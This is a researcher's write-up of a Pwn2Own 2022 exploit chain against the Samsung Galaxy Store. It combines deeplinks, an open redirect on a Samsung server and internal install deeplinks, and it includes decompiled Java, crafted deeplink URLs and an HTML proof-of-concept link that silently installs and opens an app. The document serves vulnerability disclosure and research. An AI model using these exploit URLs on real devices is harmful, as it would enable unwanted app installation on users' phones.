TLDR;

We began our work on Samsung immediately after the release of the Pwn2Own Toronto 2022 target list.

In this article, we will dive into the details of an open-redirect vulnerability discovered during the Pwn2Own 2022 event and how we exploited it on a Samsung S22 device. By breaking down the technical aspects and using code snippets, we aim to provide a comprehensive overview of this critical security flaw.

To begin, I revisited our team’s paper (written by Li Jiantao and Nguyễn Hoàng Thạch) from previous year, where two bugs were identified. One of these bugs was exploited in P2O, while the other was promptly addressed. Interestingly, detailed documentation on one of these bugs is available here, allowing readers to gain a better understanding of this specific vulnerability.

Basically, this vulnerability takes advantage of how certain apps on Samsung devices handle and process deeplinks. It allows for the installation and launching of any app without needing any input or action from the user.

The deeplink mechanism is a feature found on most operating systems such as Windows, iOS, Linux, and Android. It allows programs to associate specific URLs or protocols with the operating system, enabling seamless redirection or opening of other programs when users interact with those URLs.

For example, when you click on a Teams meeting link in your browser, the Teams software on your device will automatically launch and open the meeting section within the app instead of the browser.

Similarly, on Android, installed apps can register deeplink URLs or protocols with the operating system. When a deeplink is triggered, the corresponding app handles it and determines the appropriate action to take.

In the case of Samsung phones, they often come with a bundle of pre-installed apps, including both Galaxy Store and Samsung Pay. These apps have various permissions, such as the ability to install additional apps. Additionally, they handle numerous deeplinks, making them attractive targets for potential hackers. This vulnerability presents an opportunity for hackers to exploit these deeplinks.

The “Old” Bug

After reviewing my co-workers’ entry from 2021, I have identified the optimal app to focus on: Galaxy Store. This is a third-party app store developed by Samsung that comes pre-installed on all Samsung phones right from the factory. As of the submission of their entry, the app version they mentioned is 4.5.48.3.

Below are a few examples of deep links registered by the Galaxy Store:

  • ~betasamsungapps://GearBetaTestProductDetail~
    • class GearBetaTestProductDetailDeepLink
  • ~betasamsungapps://GearBetaTestProductList~
    • class GearBetaTestProductListDeepLink
  • ~normalbetasamsungapps://BetaTestProductDetail~
    • class BetaTestProductDetailDeepLink
  • ~normalbetasamsungapps://instantplays~
    • InstantPlaysDeepLink.valueOf(p0)
  • ~normalbetasamsungapps://BetaTestProductList~
    • class BetaTestProductListDeepLink

When we open the URL betasamsungapps://GearBetaTestProductList in a web browser, it triggers the execution of the GearBetaTestProductListDeepLink.runDeepLink() method which will create a new Intent called GearAppBetaTestActivity:

public class GearBetaTestProductListDeepLink extends DeepLink	
{
  public boolean runDeepLink(Context p0){
      this.runDeepLinkImplement(p0);
      return true;
  }
  private void runDeepLinkImplement(Context p0){
      int i;
      Intent intent = new Intent(p0, GearAppBetaTestActivity.class);
      this.registerActivityToBixby(intent);
      String str = "DeeplinkURI";
      if (!TextUtils.isEmpty(this.getDeeplinkUrl())) {
        i = 0;
        try{
            String str1 = URLDecoder.decode(this.getDeeplinkUrl(), "UTF-8");
        }catch(java.io.UnsupportedEncodingException e4){
            e4.printStackTrace();
        }
        if (!TextUtils.isEmpty(i)) {
            intent.putExtra(str, i);
        }
      }else {
        intent.putExtra(str, this.a());
      }
      i = 0x24000000;
      try{
        intent.setFlags(i);
        p0.startActivity(intent);
      }catch(java.lang.Exception e7){
       ///
      }
      return;
  }
}

In the 2021 entry, we utilize a deeplink called samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/. This particular deeplink is managed by an activity called McsWebViewActivity. The url parameter within the deeplink determines the web address that will be loaded into the internal Webview of the Galaxy Store app. To ensure its validity, the isValidUrl() method in McsWebViewActivity is used:

public boolean isValidUrl(String str) {
    boolean z = this.extra_is_deeplink;
    if (z) {
        if (z && !TextUtils.isEmpty(str)) {
            if (!str.startsWith(Global.getInstance().getDocument().getGetCommonInfoManager().getMcsWebDomain() + "/")) {
                if (str.startsWith(Global.getInstance().getDocument().getGetCommonInfoManager().getGmpWebDomain() + "/") || str.startsWith("https://img.samsungapps.com/")) {
                }
            }
        }
        return false;
    }
    return true;
}

The internal Webview only allows loading from two specific domains: https://us.mcsvc.samsung.com and https://img.samsungapps.com. You can retrieve these domains using the Global.getInstance().getDocument().getGetCommonInfoManager().getMcsWebDomain() and Global.getInstance().getDocument().getGetCommonInfoManager().getGmpWebDomain() methods. Both of these methods will return the value https://us.mcsvc.samsung.com.

Internal webviews can incorporate “bindings” that enable Java methods to be invoked from a JavaScript context. This functionality facilitates seamless communication between the two programming languages. As an illustration, consider the following code snippets:

//McsWebViewActivity
private void a(WebSettings p0,String p1){
    p0.setJavaScriptEnabled(true);
    EditorialScriptInterface uEditorialSc = new EditorialScriptInterface(this, this.webView);
    this.webView.addJavascriptInterface(uEditorialSc, "GalaxyStore");
}
//EditorialScriptInterface
public void downloadApp(String p0){
  ///
}

On the client-side, we can utilize the GalaxyStore.downloadApp('app') function to invoke EditorialScriptInterface.downloadApp().

Additionally, by exploiting an XSS vulnerability discovered in https://us.mcsvc.samsung.com/mcp25/devops/redirect.html we successfully executed JavaScript code within the internal webview and accomplished the installation of the app on a Samsung phone. For further details, you can refer to the following link: SSD Advisory: Galaxy Store Applications Installation Launching Without User Interaction.

The “New” Bug

When I began reviewing the paper, I discovered that the XSS bug was already fixed and the test mode was removed. However, I decided to further investigate this area in hope of finding additional bugs.

After spending a few hours deobfuscating and studying the source code, I came across an open-redirect bug.

https://us.mcsvc.samsung.com/mcp25/devops/redirect.html?product=samsungpay&actionType=eventURL&fallbackUrl=http://xxxxxx

By combining the open-redirect vulnerability with a deeplink, we can significantly increase its potential for exploitation. Take a look at the following example:

samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/mcp25/devops/redirect.html%3fproduct=samsungpay%26actionType=eventURL%26fallbackUrl=http://xxxxxx

When the user clicks on the deeplink mentioned above, a webview will be loaded with the URL us.mcsvc.samsung.com which will then redirect to the attacker’s website.

Additionally, we have the capability to load any URL into an internal webview. However, we are unable to utilize the GalaxyStore binding for installing a new app. This limitation is due to the validation process within the EditorialScriptInterface.downloadApp() method. This method verifies that the URL originates from either us.mcsvc.samsung.com or img.samsungapps.com before allowing the installation of a new app.

It is worth noting that every deeplink associated with the McsWebViewActivity is handled by the McsWebViewClient class, which extends from the CommonWebViewClient class. The McsWebViewClient.shouldOverrideUrlLoading() method is responsible for checking and processing each URL including redirected URLs.

public boolean shouldOverrideUrlLoading(WebView webView, String str) {
    Loger.d(MCSApi.LOG_TAG, "shouldOverrideUrlLoading : " + str);
    if (webView == null || webView.getContext() == null || TextUtils.isEmpty(str)) {
        return super.shouldOverrideUrlLoading(webView, str);
    }
    Uri parse = Uri.parse(str);
    String scheme = parse.getScheme();
    String host = parse.getHost();
    if ("intent".equalsIgnoreCase(scheme)) {
        //...
    } else if ("samsungapps".equalsIgnoreCase(scheme) && "launch".equalsIgnoreCase(host)) {
        //...
    } else if ("samsungapps".equalsIgnoreCase(scheme) && "internalweb".equalsIgnoreCase(host)) {
        //...
    } else if (!"samsungapps".equalsIgnoreCase(scheme) || !"externalweb".equalsIgnoreCase(host)) {
        return super.shouldOverrideUrlLoading(webView, str);
    } else {
        //...
    }
}

The URL will be handled by the superclass CommonWebViewClient.shouldOverrideUrlLoading() if the URL protocol is not samsungapps and the host is not internalweb. See the code snippet below for reference:

public boolean shouldOverrideUrlLoading(WebView webView, String str) {
    if (!(str == null || str.length() == 0)) {
        Uri parse = Uri.parse(str);
        String scheme = parse.getScheme();
        String host = parse.getHost();
        if (("samsungapps".equalsIgnoreCase(scheme) || ((host.equalsIgnoreCase("apps.samsung.com") || host.equalsIgnoreCase("www.samsungapps.com")) && ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)))) && (webView.getContext() instanceof Activity) && new DeeplinkUtil((Activity) webView.getContext()).openInternalDeeplink(parse.toString())) {
            return true;
        }
        //...
    }
    return false;
}

This method handles URLs that have the https or http protocol and the hostname apps.samsung.com. When such URLs are encountered, the DeeplinkUtil.openInternalDeeplink() function is called to handle them.

The internal deeplink is executed using a different approach and certain internal deeplinks within the GalaxyStore can trigger automatic app installation. During Pwn2Own Toronto 2022, we utilized the internal deeplink https://apps.samsung.com/appquery/appDetail.as?appId=<app>. This deeplink is processed by the DetailAlleyPopupDeeplink.runInternalDeepLink() function:

public class DetailAlleyPopupDeeplink extends DetailPageDeepLink
{
  public boolean runInternalDeepLink(Context p0){
      if (!this.launchApp(p0, this.getDetailID())) {
        String detailID = this.getDetailID();
        boolean mIsStub = this.mIsStub;
        String mSignId = this.mSignId;
        String mQueryStr = this.mQueryStr;
        String adSource = this.getAdSource();
        String source = this.getSource();
        String sender = (this.isDirectInstall())? this.getSender(): "";
        DetailLaunchHelper.launch(p0, detailID, mIsStub, mSignId, mQueryStr, adSource, source, sender, this.isDirectInstall(), this.isDirectOpen(), this.deepLinkAppName, this.commonLogData, this.getDeeplinkUrl());
      }
      return true;
  }
}

Simply put, the app will be installed automatically and opened immediately after installation if you include the directInstall and directOpen parameters!

Proof-of-Concept

<head>
 </head>
 <body>
    <b><a id="exploit" href="samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/mcp25/devops/redirect.html?mcs=kr%26product=samsungpay%26actionType=eventURL%26fallbackUrl=https://apps.samsung.com/appquery/appDetail.as%253fappId%253dcom.sec.android.app.popupcalculator%2526directInstall%253dtrue%2526directOpen%253dtrue%2526form%253dpopup">click_me</a></b>
 </body>
 <script> 
 </script>

You can use the fallbackUrl parameter to specify the deeplink for the app details of a Samsung application. The deeplink format for app details is as following: https://apps.samsung.com/appquery/appDetail.as?appId=com.sec.android.app.popupcalculator&directInstall=true&directOpen=true&form=popup.

To successfully demonstrate this proof of concept (PoC), users are required to click on the attacker’s link at least once.

Demo

The “Bypass”

A week prior to the contest Samsung was actively addressing a bug that I had discovered. They made around two to three attempts to fix it before finally resolving it on 02nd December 2022.

After each fix, I managed to find a bypass and they fixed my bypass. This led me to believe that they were actively monitoring the vulnerable us.mcsvc.samsung.com website and applying hot-fixes.

The crucial aspect of this bug is that it primarily resides on the server-side allowing Samsung to patch it without notifying us.

The most recent update occurred just two hours before the registration deadline. Fortunately, I successfully bypassed the bug in time and was able to participate in the contest :)

Here’s the patch I used:

Steps to Reproduction

To reproduce the issue, follow these steps:

  • Step 1: The parameter _0x3015c4 in the _0x8033d6() function receives the variable fallbackUrl. Afterwards, the _0x46f66f() function is invoked to decode the URL stored in fallbackUrl and assign the resulting value to the variable _0x1851d7:

  • Step 2: The URL is decoded and the resulting value fallbackUrl is passed to the _0x5ea70f() function to determine if the hostname matches www.sofi.com:

  • Step 3: If the specified conditions are met, the location.replace() method will be invoked to redirect the user to the desired URL. The _0x3015c4 parameter will be included in the redirection process:

A vulnerability was discovered in Step 2 of the process. In this step, the fallbackUrl is decoded to a URL before checking the hostname. However, during the redirect process the original fallbackUrl is used instead of the decoded version.

Exploiting this vulnerability allowed me to construct a URL that bypassed the check and redirected to the desired host:

=> ¯\(ツ) ez bypass

Users should update their Galaxy Store application to the latest version available.

References